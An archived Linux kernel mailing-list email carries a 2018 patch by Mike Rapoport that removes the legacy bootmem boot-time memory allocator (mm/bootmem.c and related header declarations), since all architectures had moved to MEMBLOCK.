 uclinux-h8-devel@lists.sourceforge.jp, Mike Rapoport <rppt@linux.vnet.ibm.com>,
 linux-alpha@vger.kernel.org, linux-um@lists.infradead.o
To: linux-mm@kvack.org
Original-X-From: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org Fri Sep 14 14:21:00 2018
Return-path: <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>
Envelope-to: glppe-linuxppc-embedded-2@m.gmane.org
Original-Received: from lists.ozlabs.org ([203.11.71.2])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>)
	id 1g0n5l-0002p8-NG
	for glppe-linuxppc-embedded-2@m.gmane.org; Fri, 14 Sep 2018 14:20:58 +0200
Original-Received: from bilbo.ozlabs.org (lists.ozlabs.org [IPv6:2401:3900:2:1::3])
	by lists.ozlabs.org (Postfix) with ESMTP id 42BZRb3G2qzF2X4
	for <glppe-linuxppc-embedded-2@m.gmane.org>; Fri, 14 Sep 2018 22:23:07 +1000 (AEST)
Authentication-Results: lists.ozlabs.org; dmarc=none (p=none dis=none) header.from=linux.vnet.ibm.com
X-Original-To: linuxppc-dev@lists.ozlabs.org
Delivered-To: linuxppc-dev@lists.ozlabs.org
Authentication-Results: lists.ozlabs.org;
 spf=none (mailfrom) smtp.mailfrom=linux.vnet.ibm.com
 (client-ip=148.163.158.5; helo=mx0a-001b2d01.pphosted.com;
 envelope-from=rppt@linux.vnet.ibm.com; receiver=<UNKNOWN>)
Authentication-Results: lists.ozlabs.org; dmarc=none (p=none dis=none)
 header.from=linux.vnet.ibm.com
Original-Received: from mx0a-001b2d01.pphosted.com (mx0b-001b2d01.pphosted.com
 [148.163.158.5])
 (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
 (No client certificate requested)
 by lists.ozlabs.org (Postfix) with ESMTPS id 42BZBH3KxGzF3VG
 for <linuxppc-dev@lists.ozlabs.org>; Fri, 14 Sep 2018 22:11:35 +1000 (AEST)
Original-Received: from pps.filterd (m0098413.ppops.net [127.0.0.1])
 by mx0b-001b2d01.pphosted.com (8.16.0.22/8.16.0.22) with SMTP id
 w8EC54Ph080114
 for <linuxppc-dev@lists.ozlabs.org>; Fri, 14 Sep 2018 08:11:33 -0400
Original-Received: from e06smtp07.uk.ibm.com (e06smtp07.uk.ibm.com [195.75.94.103])
 by mx0b-001b2d01.pphosted.com with ESMTP id 2mgb0c4u39-1
 (version=TLSv1.2 cipher=AES256-GCM-SHA384 bits=256 verify=NOT)
 for <linuxppc-dev@lists.ozlabs.org>; Fri, 14 Sep 2018 08:11:32 -0400
Original-Received: from localhost
 by e06smtp07.uk.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only!
 Violators will be prosecuted
 for <linuxppc-dev@lists.ozlabs.org> from <rppt@linux.vnet.ibm.com>;
 Fri, 14 Sep 2018 13:11:29 +0100
Original-Received: from b06cxnps3074.portsmouth.uk.ibm.com (9.149.109.194)
 by e06smtp07.uk.ibm.com (192.168.101.137) with IBM ESMTP SMTP Gateway:
 Authorized Use Only! Violators will be prosecuted; 
 (version=TLSv1/SSLv3 cipher=AES256-GCM-SHA384 bits=256/256)
 Fri, 14 Sep 2018 13:11:18 +0100
Original-Received: from d06av21.portsmouth.uk.ibm.com (d06av21.portsmouth.uk.ibm.com
 [9.149.105.232])
 by b06cxnps3074.portsmouth.uk.ibm.com (8.14.9/8.14.9/NCO v10.0) with ESMTP id
 w8ECBHm760817586
 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=FAIL);
 Fri, 14 Sep 2018 12:11:17 GMT
Original-Received: from d06av21.portsmouth.uk.ibm.com (unknown [127.0.0.1])
 by IMSVA (Postfix) with ESMTP id C338652050;
 Fri, 14 Sep 2018 15:11:04 +0100 (BST)
Original-Received: from rapoport-lnx (unknown [9.148.207.116])
 by d06av21.portsmouth.uk.ibm.com (Postfix) with ESMTPS id 814AE5204F;
 Fri, 14 Sep 2018 15:10:59 +0100 (BST)
Original-Received: by rapoport-lnx (sSMTP sendmail emulation);
 Fri, 14 Sep 2018 15:11:10 +0300
X-Mailer: git-send-email 2.7.4
In-Reply-To: <1536927045-23536-1-git-send-email-rppt@linux.vnet.ibm.com>
X-TM-AS-GCONF: 00
x-cbid: 18091412-0028-0000-0000-000002F95892
X-IBM-AV-DETECTION: SAVI=unused REMOTE=unused XFE=unused
x-cbparentid: 18091412-0029-0000-0000-000023B300FC
X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10434:, ,
 definitions=2018-09-14_06:, , signatures=0
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0
 priorityscore=1501
 malwarescore=0 suspectscore=3 phishscore=0 bulkscore=0 spamscore=0
 clxscore=1015 lowpriorityscore=0 mlxscore=0 impostorscore=0
 mlxlogscore=999 adultscore=0 classifier=spam adjust=0 reason=mlx
 scancount=1 engine=8.0.1-1807170000 definitions=main-1809140129
X-BeenThere: linuxppc-dev@lists.ozlabs.org
X-Mailman-Version: 2.1.29
Precedence: list
List-Id: Linux on PowerPC Developers Mail List <linuxppc-dev.lists.ozlabs.org>
List-Unsubscribe: <https://lists.ozlabs.org/options/linuxppc-dev>,
 <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=unsubscribe>
List-Archive: <http://lists.ozlabs.org/pipermail/linuxppc-dev/>
List-Post: <mailto:linuxppc-dev@lists.ozlabs.org>
List-Help: <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=help>
List-Subscribe: <https://lists.ozlabs.org/listinfo/linuxppc-dev>,
 <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=subscribe>
Errors-To: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org
Original-Sender: "Linuxppc-dev"
 <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>
Xref: news.gmane.org gmane.linux.ports.ppc.embedded:130761 gmane.linux.kernel.mm:203342 gmane.linux.ports.mips.general:66644 gmane.linux.ports.ia64:29239 gmane.linux.ports.sh.devel:57515 gmane.linux.ports.sparc:28427 gmane.linux.ports.hexagon:1856 gmane.linux.ports.riscv:806 gmane.linux.kernel.arc:4369 gmane.linux.ports.alpha:5245 gmane.linux.ports.arm.kernel:674216 gmane.linux.ports.parisc:28967 gmane.linux.kernel:2870791
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ppc.embedded/130761>

All architectures have been converted to use MEMBLOCK + NO_BOOTMEM. The
bootmem allocator implementation can be removed.

Signed-off-by: Mike Rapoport <rppt@linux.vnet.ibm.com>
Acked-by: Michal Hocko <mhocko@suse.com>
---
 include/linux/bootmem.h |  16 -
 mm/bootmem.c            | 811 ------------------------------------------------
 2 files changed, 827 deletions(-)
 delete mode 100644 mm/bootmem.c

diff --git a/include/linux/bootmem.h b/include/linux/bootmem.h
index ee61ac3..fce6278 100644
--- a/include/linux/bootmem.h
+++ b/include/linux/bootmem.h
@@ -26,14 +26,6 @@ extern unsigned long max_pfn;
  */
 extern unsigned long long max_possible_pfn;
 
-extern unsigned long bootmem_bootmap_pages(unsigned long);
-
-extern unsigned long init_bootmem_node(pg_data_t *pgdat,
-				       unsigned long freepfn,
-				       unsigned long startpfn,
-				       unsigned long endpfn);
-extern unsigned long init_bootmem(unsigned long addr, unsigned long memend);
-
 extern unsigned long free_all_bootmem(void);
 extern void reset_node_managed_pages(pg_data_t *pgdat);
 extern void reset_all_zones_managed_pages(void);
@@ -55,14 +47,6 @@ extern void free_bootmem_late(unsigned long physaddr, unsigned long size);
 #define BOOTMEM_DEFAULT		0
 #define BOOTMEM_EXCLUSIVE	(1<<0)
 
-extern int reserve_bootmem(unsigned long addr,
-			   unsigned long size,
-			   int flags);
-extern int reserve_bootmem_node(pg_data_t *pgdat,
-				unsigned long physaddr,
-				unsigned long size,
-				int flags);
-
 extern void *__alloc_bootmem(unsigned long size,
 			     unsigned long align,
 			     unsigned long goal);
diff --git a/mm/bootmem.c b/mm/bootmem.c
deleted file mode 100644
index 97db0e8..0000000
--- a/mm/bootmem.c
+++ /dev/null
@@ -1,811 +0,0 @@
-// SPDX-License-Identifier: GPL-2.0
-/*
- *  bootmem - A boot-time physical memory allocator and configurator
- *
- *  Copyright (C) 1999 Ingo Molnar
- *                1999 Kanoj Sarcar, SGI
- *                2008 Johannes Weiner
- *
- * Access to this subsystem has to be serialized externally (which is true
- * for the boot process anyway).
- */
-#include <linux/init.h>
-#include <linux/pfn.h>
-#include <linux/slab.h>
-#include <linux/export.h>
-#include <linux/kmemleak.h>
-#include <linux/range.h>
-#include <linux/bug.h>
-#include <linux/io.h>
-#include <linux/bootmem.h>
-
-#include "internal.h"
-
-/**
- * DOC: bootmem overview
- *
- * Bootmem is a boot-time physical memory allocator and configurator.
- *
- * It is used early in the boot process before the page allocator is
- * set up.
- *
- * Bootmem is based on the most basic of allocators, a First Fit
- * allocator which uses a bitmap to represent memory. If a bit is 1,
- * the page is allocated and 0 if unallocated. To satisfy allocations
- * of sizes smaller than a page, the allocator records the Page Frame
- * Number (PFN) of the last allocation and the offset the allocation
- * ended at. Subsequent small allocations are merged together and
- * stored on the same page.
- *
- * The information used by the bootmem allocator is represented by
- * :c:type:`struct bootmem_data`. An array to hold up to %MAX_NUMNODES
- * such structures is statically allocated and then it is discarded
- * when the system initialization completes. Each entry in this array
- * corresponds to a node with memory. For UMA systems only entry 0 is
- * used.
- *
- * The bootmem allocator is initialized during early architecture
- * specific setup. Each architecture is required to supply a
- * :c:func:`setup_arch` function which, among other tasks, is
- * responsible for acquiring the necessary parameters to initialise
- * the boot memory allocator. These parameters define limits of usable
- * physical memory:
- *
- * * @min_low_pfn - the lowest PFN that is available in the system
- * * @max_low_pfn - the highest PFN that may be addressed by low
- *   memory (%ZONE_NORMAL)
- * * @max_pfn - the last PFN available to the system.
- *
- * After those limits are determined, the :c:func:`init_bootmem` or
- * :c:func:`init_bootmem_node` function should be called to initialize
- * the bootmem allocator. The UMA case should use the `init_bootmem`
- * function. It will initialize ``contig_page_data`` structure that
- * represents the only memory node in the system. In the NUMA case the
- * `init_bootmem_node` function should be called to initialize the
- * bootmem allocator for each node.
- *
- * Once the allocator is set up, it is possible to use either single
- * node or NUMA variant of the allocation APIs.
- */
-
-#ifndef CONFIG_NEED_MULTIPLE_NODES
-struct pglist_data __refdata contig_page_data = {
-	.bdata = &bootmem_node_data[0]
-};
-EXPORT_SYMBOL(contig_page_data);
-#endif
-
-unsigned long max_low_pfn;
-unsigned long min_low_pfn;
-unsigned long max_pfn;
-unsigned long long max_possible_pfn;
-
-bootmem_data_t bootmem_node_data[MAX_NUMNODES] __initdata;
-
-static struct list_head bdata_list __initdata = LIST_HEAD_INIT(bdata_list);
-
-static int bootmem_debug;
-
-static int __init bootmem_debug_setup(char *buf)
-{
-	bootmem_debug = 1;
-	return 0;
-}
-early_param("bootmem_debug", bootmem_debug_setup);
-
-#define bdebug(fmt, args...) ({				\
-	if (unlikely(bootmem_debug))			\
-		pr_info("bootmem::%s " fmt,		\
-			__func__, ## args);		\
-})
-
-static unsigned long __init bootmap_bytes(unsigned long pages)
-{
-	unsigned long bytes = DIV_ROUND_UP(pages, BITS_PER_BYTE);
-
-	return ALIGN(bytes, sizeof(long));
-}
-
-/**
- * bootmem_bootmap_pages - calculate bitmap size in pages
- * @pages: number of pages the bitmap has to represent
- *
- * Return: the number of pages needed to hold the bitmap.
- */
-unsigned long __init bootmem_bootmap_pages(unsigned long pages)
-{
-	unsigned long bytes = bootmap_bytes(pages);
-
-	return PAGE_ALIGN(bytes) >> PAGE_SHIFT;
-}
-
-/*
- * link bdata in order
- */
-static void __init link_bootmem(bootmem_data_t *bdata)
-{
-	bootmem_data_t *ent;
-
-	list_for_each_entry(ent, &bdata_list, list) {
-		if (bdata->node_min_pfn < ent->node_min_pfn) {
-			list_add_tail(&bdata->list, &ent->list);
-			return;
-		}
-	}
-
-	list_add_tail(&bdata->list, &bdata_list);
-}
-
-/*
- * Called once to set up the allocator itself.
- */
-static unsigned long __init init_bootmem_core(bootmem_data_t *bdata,
-	unsigned long mapstart, unsigned long start, unsigned long end)
-{
-	unsigned long mapsize;
-
-	mminit_validate_memmodel_limits(&start, &end);
-	bdata->node_bootmem_map = phys_to_virt(PFN_PHYS(mapstart));
-	bdata->node_min_pfn = start;
-	bdata->node_low_pfn = end;
-	link_bootmem(bdata);
-
-	/*
-	 * Initially all pages are reserved - setup_arch() has to
-	 * register free RAM areas explicitly.
-	 */
-	mapsize = bootmap_bytes(end - start);
-	memset(bdata->node_bootmem_map, 0xff, mapsize);
-
-	bdebug("nid=%td start=%lx map=%lx end=%lx mapsize=%lx\n",
-		bdata - bootmem_node_data, start, mapstart, end, mapsize);
-
-	return mapsize;
-}
-
-/**
- * init_bootmem_node - register a node as boot memory
- * @pgdat: node to register
- * @freepfn: pfn where the bitmap for this node is to be placed
- * @startpfn: first pfn on the node
- * @endpfn: first pfn after the node
- *
- * Return: the number of bytes needed to hold the bitmap for this node.
- */
-unsigned long __init init_bootmem_node(pg_data_t *pgdat, unsigned long freepfn,
-				unsigned long startpfn, unsigned long endpfn)
-{
-	return init_bootmem_core(pgdat->bdata, freepfn, startpfn, endpfn);
-}
-
-/**
- * init_bootmem - register boot memory
- * @start: pfn where the bitmap is to be placed
- * @pages: number of available physical pages
- *
- * Return: the number of bytes needed to hold the bitmap.
- */
-unsigned long __init init_bootmem(unsigned long start, unsigned long pages)
-{
-	max_low_pfn = pages;
-	min_low_pfn = start;
-	return init_bootmem_core(NODE_DATA(0)->bdata, start, 0, pages);
-}
-
-void __init free_bootmem_late(unsigned long physaddr, unsigned long size)
-{
-	unsigned long cursor, end;
-
-	kmemleak_free_part_phys(physaddr, size);
-
-	cursor = PFN_UP(physaddr);
-	end = PFN_DOWN(physaddr + size);
-
-	for (; cursor < end; cursor++) {
-		__free_pages_bootmem(pfn_to_page(cursor), cursor, 0);
-		totalram_pages++;
-	}
-}
-
-static unsigned long __init free_all_bootmem_core(bootmem_data_t *bdata)
-{
-	struct page *page;
-	unsigned long *map, start, end, pages, cur, count = 0;
-
-	if (!bdata->node_bootmem_map)
-		return 0;
-
-	map = bdata->node_bootmem_map;
-	start = bdata->node_min_pfn;
-	end = bdata->node_low_pfn;
-
-	bdebug("nid=%td start=%lx end=%lx\n",
-		bdata - bootmem_node_data, start, end);
-
-	while (start < end) {
-		unsigned long idx, vec;
-		unsigned shift;
-
-		idx = start - bdata->node_min_pfn;
-		shift = idx & (BITS_PER_LONG - 1);
-		/*
-		 * vec holds at most BITS_PER_LONG map bits,
-		 * bit 0 corresponds to start.
-		 */
-		vec = ~map[idx / BITS_PER_LONG];
-
-		if (shift) {
-			vec >>= shift;
-			if (end - start >= BITS_PER_LONG)
-				vec |= ~map[idx / BITS_PER_LONG + 1] <<
-					(BITS_PER_LONG - shift);
-		}
-		/*
-		 * If we have a properly aligned and fully unreserved
-		 * BITS_PER_LONG block of pages in front of us, free
-		 * it in one go.
-		 */
-		if (IS_ALIGNED(start, BITS_PER_LONG) && vec == ~0UL) {
-			int order = ilog2(BITS_PER_LONG);
-
-			__free_pages_bootmem(pfn_to_page(start), start, order);
-			count += BITS_PER_LONG;
-			start += BITS_PER_LONG;
-		} else {
-			cur = start;
-
-			start = ALIGN(start + 1, BITS_PER_LONG);
-			while (vec && cur != start) {
-				if (vec & 1) {
-					page = pfn_to_page(cur);
-					__free_pages_bootmem(page, cur, 0);
-					count++;
-				}
-				vec >>= 1;
-				++cur;
-			}
-		}
-	}
-
-	cur = bdata->node_min_pfn;
-	page = virt_to_page(bdata->node_bootmem_map);
-	pages = bdata->node_low_pfn - bdata->node_min_pfn;
-	pages = bootmem_bootmap_pages(pages);
-	count += pages;
-	while (pages--)
-		__free_pages_bootmem(page++, cur++, 0);
-	bdata->node_bootmem_map = NULL;
-
-	bdebug("nid=%td released=%lx\n", bdata - bootmem_node_data, count);
-
-	return count;
-}
-
-static int reset_managed_pages_done __initdata;
-
-void reset_node_managed_pages(pg_data_t *pgdat)
-{
-	struct zone *z;
-
-	for (z = pgdat->node_zones; z < pgdat->node_zones + MAX_NR_ZONES; z++)
-		z->managed_pages = 0;
-}
-
-void __init reset_all_zones_managed_pages(void)
-{
-	struct pglist_data *pgdat;
-
-	if (reset_managed_pages_done)
-		return;
-
-	for_each_online_pgdat(pgdat)
-		reset_node_managed_pages(pgdat);
-
-	reset_managed_pages_done = 1;
-}
-
-unsigned long __init free_all_bootmem(void)
-{
-	unsigned long total_pages = 0;
-	bootmem_data_t *bdata;
-
-	reset_all_zones_managed_pages();
-
-	list_for_each_entry(bdata, &bdata_list, list)
-		total_pages += free_all_bootmem_core(bdata);
-
-	totalram_pages += total_pages;
-
-	return total_pages;
-}
-
-static void __init __free(bootmem_data_t *bdata,
-			unsigned long sidx, unsigned long eidx)
-{
-	unsigned long idx;
-
-	bdebug("nid=%td start=%lx end=%lx\n", bdata - bootmem_node_data,
-		sidx + bdata->node_min_pfn,
-		eidx + bdata->node_min_pfn);
-
-	if (WARN_ON(bdata->node_bootmem_map == NULL))
-		return;
-
-	if (bdata->hint_idx > sidx)
-		bdata->hint_idx = sidx;
-
-	for (idx = sidx; idx < eidx; idx++)
-		if (!test_and_clear_bit(idx, bdata->node_bootmem_map))
-			BUG();
-}
-
-static int __init __reserve(bootmem_data_t *bdata, unsigned long sidx,
-			unsigned long eidx, int flags)
-{
-	unsigned long idx;
-	int exclusive = flags & BOOTMEM_EXCLUSIVE;
-
-	bdebug("nid=%td start=%lx end=%lx flags=%x\n",
-		bdata - bootmem_node_data,
-		sidx + bdata->node_min_pfn,
-		eidx + bdata->node_min_pfn,
-		flags);
-
-	if (WARN_ON(bdata->node_bootmem_map == NULL))
-		return 0;
-
-	for (idx = sidx; idx < eidx; idx++)
-		if (test_and_set_bit(idx, bdata->node_bootmem_map)) {
-			if (exclusive) {
-				__free(bdata, sidx, idx);
-				return -EBUSY;
-			}
-			bdebug("silent double reserve of PFN %lx\n",
-				idx + bdata->node_min_pfn);
-		}
-	return 0;
-}
-
-static int __init mark_bootmem_node(bootmem_data_t *bdata,
-				unsigned long start, unsigned long end,
-				int reserve, int flags)
-{
-	unsigned long sidx, eidx;
-
-	bdebug("nid=%td start=%lx end=%lx reserve=%d flags=%x\n",
-		bdata - bootmem_node_data, start, end, reserve, flags);
-
-	BUG_ON(start < bdata->node_min_pfn);
-	BUG_ON(end > bdata->node_low_pfn);
-
-	sidx = start - bdata->node_min_pfn;
-	eidx = end - bdata->node_min_pfn;
-
-	if (reserve)
-		return __reserve(bdata, sidx, eidx, flags);
-	else
-		__free(bdata, sidx, eidx);
-	return 0;
-}
-
-static int __init mark_bootmem(unsigned long start, unsigned long end,
-				int reserve, int flags)
-{
-	unsigned long pos;
-	bootmem_data_t *bdata;
-
-	pos = start;
-	list_for_each_entry(bdata, &bdata_list, list) {
-		int err;
-		unsigned long max;
-
-		if (pos < bdata->node_min_pfn ||
-		    pos >= bdata->node_low_pfn) {
-			BUG_ON(pos != start);
-			continue;
-		}
-
-		max = min(bdata->node_low_pfn, end);
-
-		err = mark_bootmem_node(bdata, pos, max, reserve, flags);
-		if (reserve && err) {
-			mark_bootmem(start, pos, 0, 0);
-			return err;
-		}
-
-		if (max == end)
-			return 0;
-		pos = bdata->node_low_pfn;
-	}
-	BUG();
-}
-
-void __init free_bootmem_node(pg_data_t *pgdat, unsigned long physaddr,
-			      unsigned long size)
-{
-	unsigned long start, end;
-
-	kmemleak_free_part_phys(physaddr, size);
-
-	start = PFN_UP(physaddr);
-	end = PFN_DOWN(physaddr + size);
-
-	mark_bootmem_node(pgdat->bdata, start, end, 0, 0);
-}
-
-void __init free_bootmem(unsigned long physaddr, unsigned long size)
-{
-	unsigned long start, end;
-
-	kmemleak_free_part_phys(physaddr, size);
-
-	start = PFN_UP(physaddr);
-	end = PFN_DOWN(physaddr + size);
-
-	mark_bootmem(start, end, 0, 0);
-}
-
-/**
- * reserve_bootmem_node - mark a page range as reserved
- * @pgdat: node the range resides on
- * @physaddr: starting address of the range
- * @size: size of the range in bytes
- * @flags: reservation flags (see linux/bootmem.h)
- *
- * Partial pages will be reserved.
- *
- * The range must reside completely on the specified node.
- *
- * Return: 0 on success, -errno on failure.
- */
-int __init reserve_bootmem_node(pg_data_t *pgdat, unsigned long physaddr,
-				 unsigned long size, int flags)
-{
-	unsigned long start, end;
-
-	start = PFN_DOWN(physaddr);
-	end = PFN_UP(physaddr + size);
-
-	return mark_bootmem_node(pgdat->bdata, start, end, 1, flags);
-}
-
-/**
- * reserve_bootmem - mark a page range as reserved
- * @addr: starting address of the range
- * @size: size of the range in bytes
- * @flags: reservation flags (see linux/bootmem.h)
- *
- * Partial pages will be reserved.
- *
- * The range must be contiguous but may span node boundaries.
- *
- * Return: 0 on success, -errno on failure.
- */
-int __init reserve_bootmem(unsigned long addr, unsigned long size,
-			    int flags)
-{
-	unsigned long start, end;
-
-	start = PFN_DOWN(addr);
-	end = PFN_UP(addr + size);
-
-	return mark_bootmem(start, end, 1, flags);
-}
-
-static unsigned long __init align_idx(struct bootmem_data *bdata,
-				      unsigned long idx, unsigned long step)
-{
-	unsigned long base = bdata->node_min_pfn;
-
-	/*
-	 * Align the index with respect to the node start so that the
-	 * combination of both satisfies the requested alignment.
-	 */
-
-	return ALIGN(base + idx, step) - base;
-}
-
-static unsigned long __init align_off(struct bootmem_data *bdata,
-				      unsigned long off, unsigned long align)
-{
-	unsigned long base = PFN_PHYS(bdata->node_min_pfn);
-
-	/* Same as align_idx for byte offsets */
-
-	return ALIGN(base + off, align) - base;
-}
-
-static void * __init alloc_bootmem_bdata(struct bootmem_data *bdata,
-					unsigned long size, unsigned long align,
-					unsigned long goal, unsigned long limit)
-{
-	unsigned long fallback = 0;
-	unsigned long min, max, start, sidx, midx, step;
-
-	bdebug("nid=%td size=%lx [%lu pages] align=%lx goal=%lx limit=%lx\n",
-		bdata - bootmem_node_data, size, PAGE_ALIGN(size) >> PAGE_SHIFT,
-		align, goal, limit);
-
-	BUG_ON(!size);
-	BUG_ON(align & (align - 1));
-	BUG_ON(limit && goal + size > limit);
-
-	if (!bdata->node_bootmem_map)
-		return NULL;
-
-	min = bdata->node_min_pfn;
-	max = bdata->node_low_pfn;
-
-	goal >>= PAGE_SHIFT;
-	limit >>= PAGE_SHIFT;
-
-	if (limit && max > limit)
-		max = limit;
-	if (max <= min)
-		return NULL;
-
-	step = max(align >> PAGE_SHIFT, 1UL);
-
-	if (goal && min < goal && goal < max)
-		start = ALIGN(goal, step);
-	else
-		start = ALIGN(min, step);
-
-	sidx = start - bdata->node_min_pfn;
-	midx = max - bdata->node_min_pfn;
-
-	if (bdata->hint_idx > sidx) {
-		/*
-		 * Handle the valid case of sidx being zero and still
-		 * catch the fallback below.
-		 */
-		fallback = sidx + 1;
-		sidx = align_idx(bdata, bdata->hint_idx, step);
-	}
-
-	while (1) {
-		int merge;
-		void *region;
-		unsigned long eidx, i, start_off, end_off;
-find_block:
-		sidx = find_next_zero_bit(bdata->node_bootmem_map, midx, sidx);
-		sidx = align_idx(bdata, sidx, step);
-		eidx = sidx + PFN_UP(size);
-
-		if (sidx >= midx || eidx > midx)
-			break;
-
-		for (i = sidx; i < eidx; i++)
-			if (test_bit(i, bdata->node_bootmem_map)) {
-				sidx = align_idx(bdata, i, step);
-				if (sidx == i)
-					sidx += step;
-				goto find_block;
-			}
-
-		if (bdata->last_end_off & (PAGE_SIZE - 1) &&
-				PFN_DOWN(bdata->last_end_off) + 1 == sidx)
-			start_off = align_off(bdata, bdata->last_end_off, align);
-		else
-			start_off = PFN_PHYS(sidx);
-
-		merge = PFN_DOWN(start_off) < sidx;
-		end_off = start_off + size;
-
-		bdata->last_end_off = end_off;
-		bdata->hint_idx = PFN_UP(end_off);
-
-		/*
-		 * Reserve the area now:
-		 */
-		if (__reserve(bdata, PFN_DOWN(start_off) + merge,
-				PFN_UP(end_off), BOOTMEM_EXCLUSIVE))
-			BUG();
-
-		region = phys_to_virt(PFN_PHYS(bdata->node_min_pfn) +
-				start_off);
-		memset(region, 0, size);
-		/*
-		 * The min_count is set to 0 so that bootmem allocated blocks
-		 * are never reported as leaks.
-		 */
-		kmemleak_alloc(region, size, 0, 0);
-		return region;
-	}
-
-	if (fallback) {
-		sidx = align_idx(bdata, fallback - 1, step);
-		fallback = 0;
-		goto find_block;
-	}
-
-	return NULL;
-}
-
-static void * __init alloc_bootmem_core(unsigned long size,
-					unsigned long align,
-					unsigned long goal,
-					unsigned long limit)
-{
-	bootmem_data_t *bdata;
-	void *region;
-
-	if (WARN_ON_ONCE(slab_is_available()))
-		return kzalloc(size, GFP_NOWAIT);
-
-	list_for_each_entry(bdata, &bdata_list, list) {
-		if (goal && bdata->node_low_pfn <= PFN_DOWN(goal))
-			continue;
-		if (limit && bdata->node_min_pfn >= PFN_DOWN(limit))
-			break;
-
-		region = alloc_bootmem_bdata(bdata, size, align, goal, limit);
-		if (region)
-			return region;
-	}
-
-	return NULL;
-}
-
-static void * __init ___alloc_bootmem_nopanic(unsigned long size,
-					      unsigned long align,
-					      unsigned long goal,
-					      unsigned long limit)
-{
-	void *ptr;
-
-restart:
-	ptr = alloc_bootmem_core(size, align, goal, limit);
-	if (ptr)
-		return ptr;
-	if (goal) {
-		goal = 0;
-		goto restart;
-	}
-
-	return NULL;
-}
-
-void * __init __alloc_bootmem_nopanic(unsigned long size, unsigned long align,
-					unsigned long goal)
-{
-	unsigned long limit = 0;
-
-	return ___alloc_bootmem_nopanic(size, align, goal, limit);
-}
-
-static void * __init ___alloc_bootmem(unsigned long size, unsigned long align,
-					unsigned long goal, unsigned long limit)
-{
-	void *mem = ___alloc_bootmem_nopanic(size, align, goal, limit);
-
-	if (mem)
-		return mem;
-	/*
-	 * Whoops, we cannot satisfy the allocation request.
-	 */
-	pr_alert("bootmem alloc of %lu bytes failed!\n", size);
-	panic("Out of memory");
-	return NULL;
-}
-
-void * __init __alloc_bootmem(unsigned long size, unsigned long align,
-			      unsigned long goal)
-{
-	unsigned long limit = 0;
-
-	return ___alloc_bootmem(size, align, goal, limit);
-}
-
-void * __init ___alloc_bootmem_node_nopanic(pg_data_t *pgdat,
-				unsigned long size, unsigned long align,
-				unsigned long goal, unsigned long limit)
-{
-	void *ptr;
-
-	if (WARN_ON_ONCE(slab_is_available()))
-		return kzalloc_node(size, GFP_NOWAIT, pgdat->node_id);
-again:
-
-	/* do not panic in alloc_bootmem_bdata() */
-	if (limit && goal + size > limit)
-		limit = 0;
-
-	ptr = alloc_bootmem_bdata(pgdat->bdata, size, align, goal, limit);
-	if (ptr)
-		return ptr;
-
-	ptr = alloc_bootmem_core(size, align, goal, limit);
-	if (ptr)
-		return ptr;
-
-	if (goal) {
-		goal = 0;
-		goto again;
-	}
-
-	return NULL;
-}
-
-void * __init __alloc_bootmem_node_nopanic(pg_data_t *pgdat, unsigned long size,
-				   unsigned long align, unsigned long goal)
-{
-	return ___alloc_bootmem_node_nopanic(pgdat, size, align, goal, 0);
-}
-
-void * __init ___alloc_bootmem_node(pg_data_t *pgdat, unsigned long size,
-				    unsigned long align, unsigned long goal,
-				    unsigned long limit)
-{
-	void *ptr;
-
-	ptr = ___alloc_bootmem_node_nopanic(pgdat, size, align, goal, 0);
-	if (ptr)
-		return ptr;
-
-	pr_alert("bootmem alloc of %lu bytes failed!\n", size);
-	panic("Out of memory");
-	return NULL;
-}
-
-void * __init __alloc_bootmem_node(pg_data_t *pgdat, unsigned long size,
-				   unsigned long align, unsigned long goal)
-{
-	if (WARN_ON_ONCE(slab_is_available()))
-		return kzalloc_node(size, GFP_NOWAIT, pgdat->node_id);
-
-	return  ___alloc_bootmem_node(pgdat, size, align, goal, 0);
-}
-
-void * __init __alloc_bootmem_node_high(pg_data_t *pgdat, unsigned long size,
-				   unsigned long align, unsigned long goal)
-{
-#ifdef MAX_DMA32_PFN
-	unsigned long end_pfn;
-
-	if (WARN_ON_ONCE(slab_is_available()))
-		return kzalloc_node(size, GFP_NOWAIT, pgdat->node_id);
-
-	/* update goal according ...MAX_DMA32_PFN */
-	end_pfn = pgdat_end_pfn(pgdat);
-
-	if (end_pfn > MAX_DMA32_PFN + (128 >> (20 - PAGE_SHIFT)) &&
-	    (goal >> PAGE_SHIFT) < MAX_DMA32_PFN) {
-		void *ptr;
-		unsigned long new_goal;
-
-		new_goal = MAX_DMA32_PFN << PAGE_SHIFT;
-		ptr = alloc_bootmem_bdata(pgdat->bdata, size, align,
-						 new_goal, 0);
-		if (ptr)
-			return ptr;
-	}
-#endif
-
-	return __alloc_bootmem_node(pgdat, size, align, goal);
-
-}
-
-void * __init __alloc_bootmem_low(unsigned long size, unsigned long align,
-				  unsigned long goal)
-{
-	return ___alloc_bootmem(size, align, goal, ARCH_LOW_ADDRESS_LIMIT);
-}
-
-void * __init __alloc_bootmem_low_nopanic(unsigned long size,
-					  unsigned long align,
-					  unsigned long goal)
-{
-	return ___alloc_bootmem_nopanic(size, align, goal,
-					ARCH_LOW_ADDRESS_LIMIT);
-}
-
-void * __init __alloc_bootmem_low_node(pg_data_t *pgdat, unsigned long size,
-				       unsigned long align, unsigned long goal)
-{
-	if (WARN_ON_ONCE(slab_is_available()))
-		return kzalloc_node(size, GFP_NOWAIT, pgdat->node_id);
-
-	return ___alloc_bootmem_node(pgdat, size, align,
-				     goal, ARCH_LOW_ADDRESS_LIMIT);
-}
-- 
2.7.4



From - Thu Nov 08 21:41:58 2018
X-Mozilla-Status: 0001
